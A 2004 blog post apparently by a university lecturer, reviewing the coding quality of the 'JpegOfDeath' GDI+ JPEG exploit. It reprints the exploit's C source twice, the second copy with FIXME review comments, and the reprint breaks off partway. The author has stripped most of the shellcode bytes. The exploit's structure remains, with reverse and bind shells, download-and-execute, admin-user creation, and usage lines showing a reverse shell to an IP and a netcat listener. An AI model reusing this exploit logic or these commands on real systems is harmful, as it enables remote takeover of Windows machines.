blog dds

2004.10.05

Cracker Code Review

According to a popular myth, crackers are computer whiz kids: brilliant software developers who run circles around their "peers" in the corporate world. When my undergraduate student Achilleas Anagnostopoulos sent me a pointer to the source code of the Microsoft GDIPlus.DLL JPEG Parsing Engine Buffer Overflow exploit, I decided to test the myth by performing a code review of the exploit's source code. The results are not flattering for the exploit's developers: no self-respecting professional would ever write production code of such an abysmally low quality. Sorry M4Z3R.

What follows is the original code and the code with the results of the code review, appearing as comments marked with a yellow "FIXME" string. To make the results shorter and the exploit harmless, I have removed tens of lines of hexadecimal constants from both code sequences, and replaced them with a comment. The code here compiles, but can not be used as an exploit.

Original Code

/*
* Exploit Name:
* =============
*  JpegOfDeath.M.c v0.6.a All in one Bind/Reverse/Admin/FileDownload
* =============
* Tweaked Exploit By M4Z3R For GSO
* All Credits & Greetings Go To:
* ==========
*  FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha, #romhack
*  Peter Winter-Smith, IsolationX, YpCat, Aria Giovanni,
*  Nick Fitzgerald, Adam Nance (where are you?),
*  Santa Barbara, Jenna Jameson, John Kerry, so1o,
*  Computer Security Industry, Rom Hackers,  My chihuahuas
*  (Rocky, Sailor, and Penny)...
* ===========
* Flags Usage:
* -a: Add User X with Pass X to Admin Group;
*  IE: Exploit.exe -a pic.jpg
* -d: Download a File From an HTTP Server;
*  IE: Exploit.exe -d http://YourWebServer/Patch.exe pic.jpg
* -r: Send Back a Shell To a Specified IP on a Specific Port;
*  IE: Exploit.exe -r 192.168.0.1 -p 123 pic.jpg (Default Port is 1337)
* -b: Bind a Shell on The Exploited Machine On a Specific Port;
*  IE: Exploit.exe -b -p 132 pic.jpg (Default Port is 1337)
* Disclaimer:
* ===========
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

// Exploit Data...

char reverse_shellcode[] =
"\xD9\xE1\xD9\x34"
"\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\xAC\xFE\x80"
/* dds: 21 lines deleted */
"\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";

char bind_shellcode[] =
"\xD9\xE1\xD9\x34\x24\x58\x58\x58"
/* dds: 23 lines deleted */
"\x52\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";

char http_shellcode[]=
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"
/* dds: 37 lines deleted */
"\x27\x39\x72\x6F\x72\x17"
"m00!";

char admin_shellcode[] =
"\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x89\x06\x89\xc3"
/* dds: 17 lines deleted */
"\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";

char header1[] =
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64"
/* dds: 4 lines deleted */
"\x2E\x3E\x35\x35\x35\x35\x35\x3E";

char setNOPs1[] =
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

char setNOPs2[] =
"\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

char header2[] =
"\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x01\x15\x19\x19"
/* dds: 71 lines deleted */
"\x86\x7F\x2A\x4C\xBE\xE5\xFC\xD2\x22\xCC\x9A\x32\xD1\x7C\x7D\x68";

char admin_header0[]=
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x60\x00\x00"
"\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00\x04\x00\x00\x00\x0A\x00\x00"
"\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\xC0\x00\x00\x00\x01"
;

char admin_header1[]=
"\xFF\xFE\x00\x01"
;

char admin_header2[]=
"\x00\x14\x10\x10\x19\x12\x19\x27\x17\x17\x27\x32"
;

char admin_header3[]=
"\xEB\x0F\x26\x32"
;

char admin_header4[]=
"\xDC\xB1\xE7\x70"
;

char admin_header5[]=
"\x26\x2E\x3E\x35\x35\x35\x35\x35\x3E"
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"
;

char admin_header6[]=
"\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07"
/* dds: 34 lines deleted */
"\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F"
;

// Code...
char newshellcode[2048];

unsigned char xor_data(unsigned char byte)
{
return(byte ^ 0x92);
}

void print_usage(char *prog_name)
{
printf(" Exploit Usage:\n");
printf("\t%s -r your_ip | -b [-p port] <jpeg_filename>\n\n", prog_name);
printf("\t\t\t  -a | -d <source_file> <jpeg_filename>\n\n");
printf(" Parameters:\n\n");
printf("\t-r your_ip or -b\t Choose -r for reverse connect attack mode\n\t\t\t\tand choose -b for a bind attack.  By default\n\t\t\t\t if you don't specify -r or-b then a bind\n\t\t\t\t attack will be generated.\n\n");
printf("\t-a or -d\t\t The -a flag will create a user X with pass X, \n\t\t\t\t on the admin localgroup. The -d flag, will\n\t\t\t\t execute the source http path of the file\n\t\t\t\t given.\n");
printf("\n\t-p (optional)\t\t This option will allow you to change the port \n\t\t\t\t used for a bind or reverse connect attack.\n\t\t\t\t If the attack mode is bindthen  the\n\t\t\t\t victim will open the -p port. If the attack\n\t\t\t\t modeis reverse connect  then the port you\n\t\t\t\t specify will be the one you wantto listen \n\t\t\t\t on so the victim can  connect to you\n\t\t\t\t right away.\n\n");
printf(" Examples:\n");
printf("\t%s -r 68.6.47.62 -p 8888 test.jpg\n", prog_name);
printf("\t%s -b -p 1542 myjpg.jpg\n", prog_name);
printf("\t%s -a whatever.jpg\n", prog_name);
printf("\t%s -d http://webserver.com/patch.exe exploit.jpg\n\n", prog_name);
printf(" Remember if you use the -r option to have netcat listening\n");
printf(" on the port you are using for the attack so the victim will\n");
printf(" be able to connect to you when exploited...\n\n");
printf(" Example:\n");
printf("\tnc.exe -l -p 8888");
exit(-1);
}

int main(int argc, char *argv[])
{
FILE *fout;
unsigned int i = 0,j = 0;
int raw_num = 0;
unsigned long port = 1337; // default port for bind and reverse attacks
unsigned long encoded_port = 0;
unsigned long encoded_ip = 0;
unsigned char attack_mode = 2; // bind by default
char *p1 = NULL, *p2 = NULL;
char ip_addr[256];
char str_num[16];
char jpeg_filename[256];
WSADATA wsa;

printf(" +------------------------------------------------+\n");
printf(" |  JpegOfDeath - Remote GDI+ JPEG Remote Exploit |\n");
printf(" |    Exploit by John Bissell A.K.A. HighT1mes    |\n");
printf(" |           TweaKed By M4Z3R For GSO             |\n");
printf(" |              September, 23, 2004               |\n");
printf(" +------------------------------------------------+\n");

if (argc < 2)
print_usage(argv[0]);


 // process commandline
for (i = 0; i < (unsigned) argc; i++)
{

 if (argv[i][0] == '-')
 {

 switch (argv[i][1])
  {

  // reverse connect
  case 'r':
  strncpy(ip_addr, argv[i+1], 20);
   attack_mode = 1;
  break;

  // bind
  case 'b':
   attack_mode = 2;
  break;

  // Add.Admin
  case 'a':
   attack_mode = 3;
  break;

  // DL
  case 'd':
   attack_mode = 4;
  break;

  // port
  case 'p':
  port = atoi(argv[i+1]);
  break;
  }
 }
}

strncpy(jpeg_filename, argv[i-1], 255);
fout = fopen(argv[i-1], "wb");

if( !fout ) {
printf("Error: JPEG File %s Not Created!\n", argv[i-1]);
return(EXIT_FAILURE);
}

  // initialize the socket library

if (WSAStartup(MAKEWORD(1, 1), &wsa) == SOCKET_ERROR) {
printf("Error: Winsock didn't initialize!\n");
exit(-1);
}

encoded_port = htonl(port);
encoded_port += 2;

if (attack_mode == 1)
{

  // reverse connect attack

 reverse_shellcode[184] = (char) 0x90;
 reverse_shellcode[185] = (char) 0x92;
 reverse_shellcode[186] = xor_data((char)((encoded_port >> 16) & 0xff));
 reverse_shellcode[187] = xor_data((char)((encoded_port >> 24) & 0xff));

 p1 = strchr(ip_addr, '.');
 strncpy(str_num, ip_addr, p1 - ip_addr);
 raw_num = atoi(str_num);
 reverse_shellcode[179] = xor_data((char)raw_num);

 p2 = strchr(p1+1, '.');
 strncpy(str_num, ip_addr + (p1 - ip_addr) + 1, p2 - p1);
 raw_num = atoi(str_num);
 reverse_shellcode[180] = xor_data((char)raw_num);

 p1 = strchr(p2+1, '.');
 strncpy(str_num, ip_addr + (p2 - ip_addr) + 1, p1 - p2);
 raw_num = atoi(str_num);
 reverse_shellcode[181] = xor_data((char)raw_num);

 p2 = strrchr(ip_addr, '.');
 strncpy(str_num, p2+1, 5);
 raw_num = atoi(str_num);
 reverse_shellcode[182] = xor_data((char)raw_num);
}

if (attack_mode == 2)
{
  // bind attack

 bind_shellcode[204] = (char) 0x90;
 bind_shellcode[205] = (char) 0x92;
 bind_shellcode[191] = xor_data((char)((encoded_port >> 16) & 0xff));
 bind_shellcode[192] = xor_data((char)((encoded_port >> 24) & 0xff));
}


if (attack_mode == 4)
{

  // Http DL

   strcpy(newshellcode,http_shellcode);
      strcat(newshellcode,argv[2]);
      strcat(newshellcode,"\x01");

}

  // build the exploit jpeg

if ( attack_mode != 3)
{
 j = sizeof(header1) + sizeof(setNOPs1) + sizeof(header2) - 3;

 for(i = 0; i < sizeof(header1) - 1; i++)
 fputc(header1[i], fout);

 for(i=0;i<sizeof(setNOPs1)-1;i++)
 fputc(setNOPs1[i], fout);

 for(i=0;i<sizeof(header2)-1;i++)
 fputc(header2[i], fout);

 for( i = j; i < 0x63c; i++)
 fputc(0x90, fout);
 j = i;
}

if (attack_mode == 1)
{
 for(i = 0; i < sizeof(reverse_shellcode) - 1; i++)
 fputc(reverse_shellcode[i], fout);
}

else if (attack_mode == 2)
{
 for(i = 0; i < sizeof(bind_shellcode) - 1; i++)
 fputc(bind_shellcode[i], fout);
}

else if (attack_mode == 4)
{
 for(i = 0; i<sizeof(newshellcode) - 1; i++)
 {fputc(newshellcode[i], fout);}

 for(i = 0; i< sizeof(admin_shellcode) - 1; i++)
 {fputc(admin_shellcode[i], fout);}
}

else if (attack_mode == 3)
{

  for(i = 0; i < sizeof(admin_header0) - 1; i++){fputc(admin_header0[i], fout);}

  for(i = 0; i < sizeof(admin_header1) - 1; i++){fputc(admin_header1[i], fout);}

  for(i = 0; i < sizeof(admin_header2) - 1; i++){fputc(admin_header2[i], fout);}

  for(i = 0; i < sizeof(admin_header3) - 1; i++){fputc(admin_header3[i], fout);}

  for(i = 0; i < sizeof(admin_header4) - 1; i++){fputc(admin_header4[i], fout);}

  for(i = 0; i < sizeof(admin_header5) - 1; i++){fputc(admin_header5[i], fout);}

  for(i = 0; i < sizeof(admin_header6) - 1; i++){fputc(admin_header6[i], fout);}

  for (i = 0; i<1601; i++){fputc('\x41', fout);}

  for(i = 0; i < sizeof(admin_shellcode) - 1; i++){fputc(admin_shellcode[i], fout);}


}

if (attack_mode != 3 )
{
 for(i = i + j; i < 0x1000 - sizeof(setNOPs2) + 1; i++)
 fputc(0x90, fout);

 for( j = 0; i < 0x1000 && j < sizeof(setNOPs2) - 1; i++, j++)
 fputc(setNOPs2[j], fout);

}

fprintf(fout, "\xFF\xD9");


fcloseall();

WSACleanup();

printf("  Exploit JPEG file %s has been generated!\n", jpeg_filename);

return(EXIT_SUCCESS);
}

Code Review Results

/* FIXME Remove trailing spaces in 62 lines. */
/* FIXME Put the file under revision control adding a revision control id. */
/*
* Exploit Name:
* =============
*  JpegOfDeath.M.c v0.6.a All in one Bind/Reverse/Admin/FileDownload
* =============
* Tweaked Exploit By M4Z3R For GSO
* All Credits & Greetings Go To:
* ==========
*  FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha, #romhack
*  Peter Winter-Smith, IsolationX, YpCat, Aria Giovanni,
*  Nick Fitzgerald, Adam Nance (where are you?),
*  Santa Barbara, Jenna Jameson, John Kerry, so1o, 
*  Computer Security Industry, Rom Hackers,  My chihuahuas
*  (Rocky, Sailor, and Penny)...
* ===========
* Flags Usage:
* -a: Add User X with Pass X to Admin Group; 
*  IE: Exploit.exe -a pic.jpg 
* -d: Download a File From an HTTP Server;
*  IE: Exploit.exe -d http://YourWebServer/Patch.exe pic.jpg
* -r: Send Back a Shell To a Specified IP on a Specific Port;
*  IE: Exploit.exe -r 192.168.0.1 -p 123 pic.jpg (Default Port is 1337)
* -b: Bind a Shell on The Exploited Machine On a Specific Port;
*  IE: Exploit.exe -b -p 132 pic.jpg (Default Port is 1337)
* Disclaimer:
* ===========
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR  
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,   
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY  
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT  
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE   
*                   
*/
  

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

// Exploit Data... 

/* FIXME static char ... ; Add a descriptive comment. */
char reverse_shellcode[] =
"\xD9\xE1\xD9\x34"
"\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\xAC\xFE\x80"
/* dds: 21 lines deleted */
"\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";

/* FIXME static char ... ; Add a descriptive comment. */
char bind_shellcode[] =
"\xD9\xE1\xD9\x34\x24\x58\x58\x58"
/* dds: 23 lines deleted */
"\x52\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";

/* FIXME static const char ... ; Add a descriptive comment. */
char http_shellcode[]=
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"
/* dds: 37 lines deleted */
"\x27\x39\x72\x6F\x72\x17"
"m00!";

/* FIXME static const char ... ; Add a descriptive comment. */
char admin_shellcode[] =
"\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x89\x06\x89\xc3"
/* dds: 17 lines deleted */
"\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";

/* FIXME static const char ... ; Add a descriptive comment. */
char header1[] =
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64"
/* dds: 4 lines deleted */
"\x2E\x3E\x35\x35\x35\x35\x35\x3E";

/* FIXME static const char ... ; Add a descriptive comment. */
char setNOPs1[] =
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

/* FIXME static const char ... ; Add a descriptive comment. */
char setNOPs2[] =
"\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

/* FIXME static const char ... ; Add a descriptive comment. */
char header2[] =
"\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x01\x15\x19\x19"
/* dds: 71 lines deleted */
"\x86\x7F\x2A\x4C\xBE\xE5\xFC\xD2\x22\xCC\x9A\x32\xD1\x7C\x7D\x68";

/* FIXME static const char ... ; use a descriptive name; add a descriptive comment. */
char admin_header0[]=
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x60\x00\x00"
"\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00\x04\x00\x00\x00\x0A\x00\x00"
"\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\xC0\x00\x00\x00\x01"
;

/* FIXME static const char ... ; use a descriptive name; add a descriptive comment. */
char admin_header1[]=
"\xFF\xFE\x00\x01"
;

/* FIXME static const char ... ; use a descriptive name; add a descriptive comment. */
char admin_header2[]=
"\x00\x14\x10\x10\x19\x12\x19\x27\x17\x17\x27\x32"
;

/* FIXME static const char ... ; use a descriptive name; add a descriptive comment. */
char admin_header3[]=
"\xEB\x0F\x26\x32"
;

/* FIXME static const char ... ; use a descriptive name; add a descriptive comment. */
char admin_header4[]=
"\xDC\xB1\xE7\x70"
;

/* FIXME static const char ... ; use a descriptive name; add a descriptive comment. */
char admin_header5[]=
"\x26\x2E\x3E\x35\x35\x35\x35\x35\x3E"
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"
;

/* FIXME static const char ... ; use a descriptive name; add a descriptive comment. */
char admin_header6[]=
"\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07"
/* dds: 34 lines deleted */
"\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F"
;

// Code... 
/* FIXME static char ... */
char newshellcode[2048]; 

/* FIXME static */
unsigned char xor_data(unsigned char byte)
{
/* FIXME Indent. */
return(byte ^ 0x92);
}

/* FIXME static */
/* FIXME const char *prog_name */
void print_usage(char *prog_name)
{
/* FIXME Indent. */
printf(" Exploit Usage:\n");
printf("\t%s -r your_ip | -b [-p port] <jpeg_filename>\n\n", prog_name);
printf("\t\t\t  -a | -d <source_file> <jpeg_filename>\n\n");
printf(" Parameters:\n\n");
/* FIXME The following line is way to long; break it up. */
printf("\t-r your_ip or -b\t Choose -r for reverse connect attack mode\n\t\t\t\tand choose -b for a bind attack.  By default\n\t\t\t\t if you don't specify -r or-b then a bind\n\t\t\t\t attack will be generated.\n\n");
/* FIXME The following line is way to long; break it up. */
printf("\t-a or -d\t\t The -a flag will create a user X with pass X, \n\t\t\t\t on the admin localgroup. The -d flag, will\n\t\t\t\t execute the source http path of the file\n\t\t\t\t given.\n"); 
/* FIXME The following line is way to long; break it up. */
printf("\n\t-p (optional)\t\t This option will allow you to change the port \n\t\t\t\t used for a bind or reverse connect attack.\n\t\t\t\t If the attack mode is bindthen  the\n\t\t\t\t victim will open the -p port. If the attack\n\t\t\t\t modeis reverse connect  then the port you\n\t\t\t\t specify will be the one you wantto listen \n\t\t\t\t on so the victim can  connect to you\n\t\t\t\t right away.\n\n");
printf(" Examples:\n");
printf("\t%s -r 68.6.47.62 -p 8888 test.jpg\n", prog_name);
printf("\t%s -b -p 1542 myjpg.jpg\n", prog_name);
printf("\t%s -a whatever.jpg\n", prog_name);
printf("\t%s -d http://webserver.com/patch.exe exploit.jpg\n\n", prog_name);
printf(" Remember if you use the -r option to have netcat listening\n");
printf(" on the port you are using for the attack so the victim will\n");
printf(" be able to connect to you when exploited...\n\n");
printf(" Example:\n");
printf("\tnc.exe -l -p 8888");
/* FIXME Use an EXIT_* code. */
exit(-1);
}

int main(int argc, char *argv[])
{
/* FIXME Start an indentation level. */
FILE *fout;
/* FIXME Add a space after the comma. */
unsigned int i = 0,j = 0;
int raw_num = 0;
unsigned long port = 1337; // default port for bind and reverse attacks 
unsigned long encoded_port = 0;
unsigned long encoded_ip = 0;
unsigned char attack_mode = 2; // bind by default 
char *p1 = NULL, *p2 = NULL;
/* FIXME Change into a pointer. */
char ip_addr[256];
/* FIXME Not required. */
char str_num[16];
/* FIXME Change into a pointer. */
char jpeg_filename[256];
WSADATA wsa;

printf(" +------------------------------------------------+\n");
printf(" |  JpegOfDeath - Remote GDI+ JPEG Remote Exploit |\n");
printf(" |    Exploit by John Bissell A.K.A. HighT1mes    |\n");
printf(" |           TweaKed By M4Z3R For GSO             |\n");
printf(" |              September, 23, 2004               |\n");
printf(" +------------------------------------------------+\n");

if (argc < 2)
/* FIXME Indent. */
print_usage(argv[0]);


 // process commandline 
 /* FIXME Use getopt. */
for (i = 0; i < (unsigned) argc; i++) 
{

 if (argv[i][0] == '-') 
 {

 /* FIXME Indent. */
 switch (argv[i][1]) 
  {
  
  // reverse connect 
  case 'r':
  /* FIXME Correct inconsistent indentation; add spaces around + operator. */
  /* FIXME Have the last argument match the size of ip_addr. */
  /* FIXME Better yet, use sizeof(ip_addr) - 1. */
  /* FIXME Ensure ip_addr is \0 terminated. */
  /* FIXME Set ip_addr as a pointer to argv[i + 1], instead of copying data. */
  strncpy(ip_addr, argv[i+1], 20);
   attack_mode = 1;
  break;
  
  // bind 
  case 'b':
   /* FIXME Use enumeration constants for the attack_mode values */
   attack_mode = 2;
  break;
  
  // Add.Admin
  case 'a':
   attack_mode = 3;
  break;

  // DL
  case 'd':
   attack_mode = 4;
  break;

  // port 
  case 'p':
  /* FIXME Correct inconsistent indentation; add spaces around + operator. */
  /* FIXME Ensure argv[i + 1] is not NULL */
  port = atoi(argv[i+1]);
  break;
  }
 }
}

/* FIXME Use sizeof(jpeg_filename) - 1. */
/* FIXME Ensure jpeg_filename is \0 terminated. */
/* FIXME Set jpeg_filename as a pointer to argv[i - 1], instead of copying data. */
strncpy(jpeg_filename, argv[i-1], 255);
fout = fopen(argv[i-1], "wb");
       
/* FIXME Correct inconsistent spacing: if (!fout) { */
if( !fout ) {
/* FIXME Indent. */
/* FIXME Use strerror or perror to provide a failure reason. */
/* FIXME Output errors on stderr. */
printf("Error: JPEG File %s Not Created!\n", argv[i-1]);
return(EXIT_FAILURE);
}

  // initialize the socket library 

if (WSAStartup(MAKEWORD(1, 1), &wsa) == SOCKET_ERROR) {
/* FIXME Indent. */
/* FIXME Output errors on stderr. */
/* FIXME Provide a descriptive message using GetLastError(), FormatMessage(). */
printf("Error: Winsock didn't initialize!\n");
/* FIXME Use an EXIT_* code. */
exit(-1);
}

encoded_port = htonl(port);
encoded_port += 2;

/* FIXME Replace sequential if statements with a switch construct. */
if (attack_mode == 1) 
{
 
  // reverse connect attack 
 
 /* FIXME Define a symbolic constant for the array offset. */
 /* FIXME Provide a comment for the instruction being patched. */
 reverse_shellcode[184] = (char) 0x90;
 reverse_shellcode[185] = (char) 0x92;
 reverse_shellcode[186] = xor_data((char)((encoded_port >> 16) & 0xff));
 reverse_shellcode[187] = xor_data((char)((encoded_port >> 24) & 0xff));

 /* FIXME Use a loop to avoid repeating the following block 4 times. */
 /* FIXME Better yet, replace the code with a simple sscanf() call. */
 /* FIXME Verify that strchr() does not return NULL. */
 p1 = strchr(ip_addr, '.');
 /* FIXME Ensure ip_addr is \0 terminated. */
 strncpy(str_num, ip_addr, p1 - ip_addr);
 raw_num = atoi(str_num);
 reverse_shellcode[179] = xor_data((char)raw_num);

 /* FIXME Verify that strchr() does not return NULL. */
 /* FIXME Add spaces around + operator. */
 p2 = strchr(p1+1, '.');
 /* FIXME Ensure ip_addr is \0 terminated. */
 strncpy(str_num, ip_addr + (p1 - ip_addr) + 1, p2 - p1);
 raw_num = atoi(str_num);
 reverse_shellcode[180] = xor_data((char)raw_num);

 /* FIXME Verify that strchr() does not return NULL. */
 /* FIXME Add spaces around + operator. */
 p1 = strchr(p2+1, '.');
 /* FIXME Ensure ip_addr is \0 terminated. */
 strncpy(str_num, ip_addr + (p2 - ip_addr) + 1, p1 - p2);
 raw_num = atoi(str_num);
 reverse_shellcode[181] = xor_data((char)raw_num);

 /* FIXME Verify that strchr() does not return NULL. */
 p2 = strrchr(ip_addr, '.');
 /* FIXME Ensure ip_addr is \0 terminated. */
 /* FIXME Add spaces around + operator. */
 strncpy(str_num, p2+1, 5);
 raw_num = atoi(str_num);
 reverse_shellcode[182] = xor_data((char)raw_num);
}

/* FIXME Replace sequential if statements with a switch construct. */
if (attack_mode == 2) 
{
  // bind attack  
 
 /* FIXME Define a symbolic constant for the array offset. */
 /* FIXME Provide a comment for the instruction being patched. */
 bind_shellcode[204] = (char) 0x90;
 bind_shellcode[205] = (char) 0x92;
 bind_shellcode[191] = xor_data((char)((encoded_port >> 16) & 0xff));
 bind_shellcode[192] = xor_data((char)((encoded_port >> 24) & 0xff));
}


/* FIXME Replace sequential if statements with a switch construct. */
if (attack_mode == 4)
{

  // Http DL 
     
   /* FIXME Fix inconsistent indentation. */
   /* FIXME Add spaces after the comma. */
   /* FIXME Verify or provide assertions against a possible buffer overflow. */
   strcpy(newshellcode,http_shellcode);
      strcat(newshellcode,argv[2]);
      strcat(newshellcode,"\x01");
     
}
  
  // build the exploit jpeg 

/* FIXME Replace sequential if statements with a switch construct. */
if ( attack_mode != 3)
{
 j = sizeof(header1) + sizeof(setNOPs1) + sizeof(header2) - 3;
     
/* FIXME Correct inconsistent spacing: for ( */
 for(i = 0; i < sizeof(header1) - 1; i++)
 fputc(header1[i], fout);
 
 /* FIXME Provide spacing around operators and after the "for" and the ";". */
 /* FIXME Replace the loop with a single fwrite(). */
 for(i=0;i<sizeof(setNOPs1)-1;i++)
 /* FIXME Indent. */
 fputc(setNOPs1[i], fout);
 
 /* FIXME Provide spacing around operators and after the "for" and the ";". */
 /* FIXME Replace the loop with a single fwrite(). */
 for(i=0;i<sizeof(header2)-1;i++)
 /* FIXME Indent. */
 fputc(header2[i], fout);
 
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Correct inconsistent spacing: for (i */
 for( i = j; i < 0x63c; i++) 
 /* FIXME Indent. */
 fputc(0x90, fout);
 j = i;
}

/* FIXME Replace cascading if else statements with a switch construct. */
if (attack_mode == 1) 
{
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Correct inconsistent spacing: for (i */
 for(i = 0; i < sizeof(reverse_shellcode) - 1; i++)
 /* FIXME Indent. */
 fputc(reverse_shellcode[i], fout);
}

else if (attack_mode == 2) 
{
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Correct inconsistent spacing: for (i */
 for(i = 0; i < sizeof(bind_shellcode) - 1; i++)
 /* FIXME Indent. */
 fputc(bind_shellcode[i], fout);
}

else if (attack_mode == 4)
{
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Provide spacing around operators and after the "for" and the ";". */
 for(i = 0; i<sizeof(newshellcode) - 1; i++)
 /* FIXME Remove unneeded braces and indent. */
 {fputc(newshellcode[i], fout);}
 
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Correct inconsistent spacing: for (i */
 for(i = 0; i< sizeof(admin_shellcode) - 1; i++)
 /* FIXME Remove unneeded braces and indent. */
 {fputc(admin_shellcode[i], fout);}
}

else if (attack_mode == 3)
{

 /* FIXME Store the admin_header contents in an array and write them in a loop. */
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Remove unneeded braces. */
 /* FIXME Correct inconsistent spacing: for (i */
  for(i = 0; i < sizeof(admin_header0) - 1; i++){fputc(admin_header0[i], fout);}
  
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Remove unneeded braces. */
 /* FIXME Correct inconsistent spacing: for (i */
  for(i = 0; i < sizeof(admin_header1) - 1; i++){fputc(admin_header1[i], fout);}
 
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Remove unneeded braces. */
 /* FIXME Correct inconsistent spacing: for (i */
  for(i = 0; i < sizeof(admin_header2) - 1; i++){fputc(admin_header2[i], fout);}
  
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Remove unneeded braces. */
 /* FIXME Correct inconsistent spacing: for (i */
  for(i = 0; i < sizeof(admin_header3) - 1; i++){fputc(admin_header3[i], fout);}
 
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Remove unneeded braces. */
 /* FIXME Correct inconsistent spacing: for (i */
  for(i = 0; i < sizeof(admin_header4) - 1; i++){fputc(admin_header4[i], fout);}
 
